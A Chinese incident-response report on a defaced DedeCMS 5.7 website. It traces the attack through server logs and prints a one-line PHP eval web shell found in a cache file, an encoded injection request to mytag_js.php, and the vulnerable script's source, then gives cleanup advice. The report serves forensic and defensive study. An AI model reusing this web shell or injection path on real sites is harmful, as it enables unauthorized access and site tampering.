

# **页面篡改 应急事件记录**

**TIDE 实验室**

## 1. 事件简述

某天，发现网站被百度提示页面部分已被非法篡改。



通过查看百度快照，发现网站首页确实被篡改，插入内容被编码，解码内容如下




Unicode编码	UTF-8编码	URL编码/解码	Unix时间戳	Ascii/Native编码互转	Hex编码/解码	Html编码/解码
<code>&amp;#21271;&amp;#20140;&amp;#36187;&amp;#36710;&amp;#45;&amp;#39318;&amp;#39029;&amp;#95;&amp;#27426;&amp;#36814;&amp;#24744</code>		<code>&lt;meta name="description" content="北京赛车官网【网址:xx567.com】 同步北京福彩赛车公司官方开奖,全力为您打造顶级北京赛车,北京赛车pk10注册,北京赛车平台,北京赛车pk10开奖,北京赛车开奖结果,北京赛车pk10开奖直播,北京赛车开奖历史记录,系统安全,北京赛车app,充提快速,操作简单,方便实用。"/&gt;</code>				

[ASCII 转 Unicode](#) [Unicode 转 ASCII](#) [Unicode 转 中文](#) [中文 转 Unicode](#) [清空结果](#)

从上可确认，网站确实存在页面篡改情况。

## 2. 排查过程

本次的排查过程还是很有趣的，中间还是有好多雷点，首先登录网站管理后台，发现网站首页篡改时间为 10 月 6 号

<input type="checkbox"/>		ir	2019/10/06 14:01:57	644	www
<input type="checkbox"/>			2019/10/06 14:00:21	644	www
<input type="checkbox"/>			2011/07/01 16:36:16	755	www <a href="#">复制</a> <a href="#">剪切</a>

通过对日志进行分析发现攻击者通过 test.php 写入 optimized.php 后门，写入时间为 06/Oct/2019:13:01:36



test.php 写入时间为 2019 年 10 月 6 号



看到这个好兴奋呀，结果解码之后才发现不是 test.php 内容，解码内容如下

```
cfg_dbprefixmyad` SET `normbody` = '<?php  
file_put_contents('moon.php','<?php eval(|
```

在日志中还看到了攻击者还尝试紧接着对 moon.php 做了一次请求，结果由于没有写进去，系统返回了 404。

```
[04/Oct/2019:02:57:24 +0800] "GET /plus/moon.php HTTP/1.1" 404 16 "
```

接着又存在一条，看状态码是写入成功了

```
- - [04/Oct/2019:02:57:25 +0800] "GET  
/plus/mytag_js.php?dopost=savedit&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=40&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=44&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=41&arrs2[]=32&arrs2[]=86&arrs2[]=65&arrs2[]=76&arrs2[]=85&arrs2[]=69&arrs2[]=83&arrs2[]=40&arrs2[]=57&arrs2[]=48&arrs2[]=57&arrs2[]=48&arrs2[]=44&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=99&arrs2[]=104&arrs2[]=111&arrs2[]=32&arrs2[]=39&arrs2[]=39&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=99&arrs2[]=109&arrs2[]=115&arrs2[]=32&arrs2[]=53&arrs2[]=46&arrs2[]=55&arrs2[]=32&arrs2[]=48&arrs2[]=100&arrs2[]=97&arrs2[]=121&arrs2[]=60&arrs2[]=98&arrs2[]=114&arrs2[]=62&arrs2[]=103&arrs2[]=117&arrs2[]=105&arrs2[]=103&arrs2[]=101&arrs2[]=44& HTTP/1.1" 200
```

解码内容如下

```
cfg_dbprefixmytag` (aid,normbody) VALUES(9090,'<?php echo ''dedecms 5.7 0day<br>guige,
```

从日志中可看到在写入成功后紧接着进行了一次访问

```
[04/Oct/2019:02:57:26 +0800] "POST /plus/mytag_js.php?aid=9090 HTTP/1.1" 200 - "
```

但我尝试访问时，发现 mytag\_js.php 文件已经被删除，由于不能远程登录服务器无法判断文件的改动情况，只能利用现有资源翻目录看日志了。

通过分析查找，在 Data /cache 目录下发现 mytag-511348.html，最早的写入时间可以追溯到 2017 年。

<input type="checkbox"/>	 myad-7888.htm	32 B	2017/11/22 03:09:26	755	www	复制   剪切   重命名
<input type="checkbox"/>	 myad-789.htm	32 B	2017/11/22 03:09:28	755	www	
<input type="checkbox"/>	 myad-888.htm	32 B	2018/08/21 23:59:48	755	www	
<input type="checkbox"/>	 myad-8888.htm	32 B	2019/09/29 16:34:28	755	www	
<input type="checkbox"/>	 myad-8911.htm	32 B	2017/11/22 03:09:34	755	www	
<input type="checkbox"/>	 myad-9013.htm	32 B	2017/11/22 03:09:36	755	www	
<input type="checkbox"/>	 myad-9090.htm	32 B	2017/07/15 16:59:50	755	www	
<input type="checkbox"/>	 mytag-511348.htm	61 B	2019/10/06 10:30:42	644	www	

打开该文件内容为含有 php 一句话菜刀马的 html 页面

```

<!--
document.write("<?php @eval($_POST[511348]) ?>");
-->

```

开始以为这只是个含有一句话木马的 `html`，没把他当回事，一个 `html` 能有干啥呢，但是当分析日志发现有关于 `511348` 的访问记录。

61	-	[06/Oct/2019:12:43:49 +0800]	"GET /banner/banner_4.jpg HTTP/1.1"	200 196257 "http	zlls/5.0 (compatible)
46	-	[06/Oct/2019:12:43:50 +0800]	"POST /plus/mytag.js.php?id=511348 HTTP/1.1"	200 3	zlls/5.0 (compatible)
46	-	[06/Oct/2019:12:43:52 +0800]	"POST /plus/mytag.js.php?id=511348 HTTP/1.1"	200 3	zlls/5.0 (compatible)
16	-	[06/Oct/2019:12:44:08 +0800]	"GET /a/jigoushezhi/caiwuchu/2017/9795/338.html HTTP/1.1"	200 1024	ezeweb/5.0 (compatible)
46	-	[06/Oct/2019:12:44:09 +0800]	"POST /plus/mytag.js.php?id=511348 HTTP/1.1"	400 29	zlls/5.0 (compatible)
61	-	[06/Oct/2019:12:44:28 +0800]	"GET /banner/banner_4.jpg HTTP/1.1"	200 196257 "http	zlls/5.0 (compatible)
46	-	[06/Oct/2019:12:44:45 +0800]	"GET /robots.txt HTTP/1.1"	404 359 "-" Mozilla/5.0 (C	zlls/5.0 (compatible)
46	-	[06/Oct/2019:12:44:46 +0800]	"GET /robots.txt HTTP/1.1"	404 359 "-" Mozilla/5.0 (C	zlls/5.0 (compatible)
46	-	[06/Oct/2019:12:44:45 +0800]	"POST /plus/mytag.js.php?id=511348 HTTP/1.1"	400 293	ezeweb/5.0 (compatible)
24	-	[06/Oct/2019:12:44:51 +0800]	"GET / HTTP/1.1"	200 30156 "-" Mozilla/5.0 (Windows N	zlls/5.0 (compatible)
46	-	[06/Oct/2019:12:44:57 +0800]	"POST /plus/mytag.js.php?id=511348 HTTP/1.1"	400 293	zlls/5.0 (compatible)
46	-	[06/Oct/2019:12:45:11 +0800]	"POST /plus/mytag.js.php?id=511348 HTTP/1.1"	400 293	zlls/5.0 (compatible)
46	-	[06/Oct/2019:12:45:12 +0800]	"POST /plus/mytag.js.php?id=511348 HTTP/1.1"	200 1745	zlls/5.0 (compatible)
46	-	[06/Oct/2019:12:45:12 +0800]	"POST /plus/mytag.js.php?id=511348 HTTP/1.1"	200 29 "ht	zlls/5.0 (compatible)

单独的html页面还不足以成为后门,但是通过结合 mytag\_js.php 文件就有了大用处,通过查看源码未发现 mytag\_js.php 文件,从日志中也可看到之后在对 mytag\_js.php 进行访问,服务器就已经响应 404 了,可见攻击者已经删除了该文件。

```

- [06/Oct/2019:21:36:08 +0800] "GET / HTTP/1.1" 404 16 "http://www.mozillazilla.com"
- [06/Oct/2019:21:36:20 +0800] "GET / HTTP/1.1" 404 479 "-"
- [06/Oct/2019:21:36:35 +0800] "GET / HTTP/1.1" 404 479 "-"
- [06/Oct/2019:21:36:42 +0800] "GET /pplus/metag/index.aspx HTTP/1.1" 404 359 "-"
- [06/Oct/2019:21:37:05 +0800] "GET /robots.txt HTTP/1.1" 404 479 "Mozilla/5.0 (com
- [06/Oct/2019:21:37:36 +0800] "POST /pplus/metag.js.php?aid=513348 HTTP/1.1" 404
- [06/Oct/2019:21:37:36 +0800] "POST /pplus/metag.js.php?aid=513348 HTTP/1.1" 404
- [06/Oct/2019:21:37:36 +0800] "POST /pplus/metag.js.php?aid=513348 HTTP/1.1" 404
- [06/Oct/2019:21:37:36 +0800] "POST /pplus/metag.js.php?aid=513348 HTTP/1.1" 404
- [06/Oct/2019:21:37:43 +0800] "GET / HTTP/1.1" 200 8288 "http://www.161ui
- [06/Oct/2019:21:37:44 +0800] "GET /templates/default/style/base.css HTTP/1.1" 200 788
- [06/Oct/2019:21:37:44 +0800] "GET /templates/default/style/index.css HTTP/1.1" 200 2819

```

从之前的源码备份中找到了 `mytag.js.php`，具体内容如下

```

<?php
/**
 * 自定义标签js调用方式
 *
 * @version      $Id: mytag_js.php 1 20:55 2010年7月6日 z tianya $
 * @package      DedeCMS.Site
 * @copyright     Copyright (c) 2007 - 2010, DesDev, Inc.
 * @license       http://help.dedecms.com/usersguide/license.html
 * @link          http://www.dedecms.com
 */
require_once(dirname(__FILE__).'/../include/common.inc.php');
require_once(DEDEINC.'/arc.partview.class.php');

if(isset($arcID)) $aid = $arcID;
$arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;
if($aid=0) die("document.write('Not found input!');");

$cacheFile = DEDEDATA.'/cache/mytag-'.$aid.'.htm';
if( !isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )

    $pv = new Partview();
    $row = $pv->dsq1->GetOne(" SELECT * FROM `#@__mytag` WHERE aid='".$aid."' ");
    if(!is_array($row))
    {
        $myvalues = "<!--\r\n\r\ndocument.write('Not found input!');\r\n-->";
    }
    else
    {
        $tagbody = '';
        if($row['timeset']==0)
        {
            $tagbody = $row['normbody'];
        }
        else
        {
            $ntime = time();
            if($ntime>$row['endtime'] || $ntime < $row['starttime']) {
                $tagbody = $row['expbody'];
            }
            else {
                $tagbody = $row['normbody'];
            }
        }
    }
}

```

攻击者只需要访问 [http:// x.x.x.x //plus/mytag\\_js.php?aid=511348](http://x.x.x.x//plus/mytag_js.php?aid=511348),就可以连接一句话木马了,本地搭建环境测试了下确实可以利用菜刀连接上,从日志中也可以看到确实能连接成功,从数据包的大小,可看到攻击者利用该菜刀马做了一系列操作。



此处攻击者巧妙的利用文件包含的方式隐藏后门,这确实是种不错的方法,一般很少有杀毒软件会对html的进行查杀。

到此为止就是要进一步排查 mytag-511348.html 是如何被写入的,接着日志分析,当对日志追踪到 9 月 29 中午 12:35:58 分,在做进一步分析时,未发现 29/Sep/2019:11:08:32 到 12/Jul/2019:09:40:01 之间的日志,所以最终也无法确定是通过什么方式上传的第一个恶意文件。由于采用了 DedeCMSV57\_UTF8\_SP2© 2004-2011 版本,只能从日志中判断出是利用织梦的漏洞对系统实施攻击。

另外在 data 目录下 tplcache 目录中还发现了其他的 php 一句话木马,最早的时间基本都可以追溯到 17 年,建议删除相关目录下后门程序、删除 /plus/ad\_js.php /plus/mytag\_js.php 两个文件、删除 data/cache 下的缓存文件。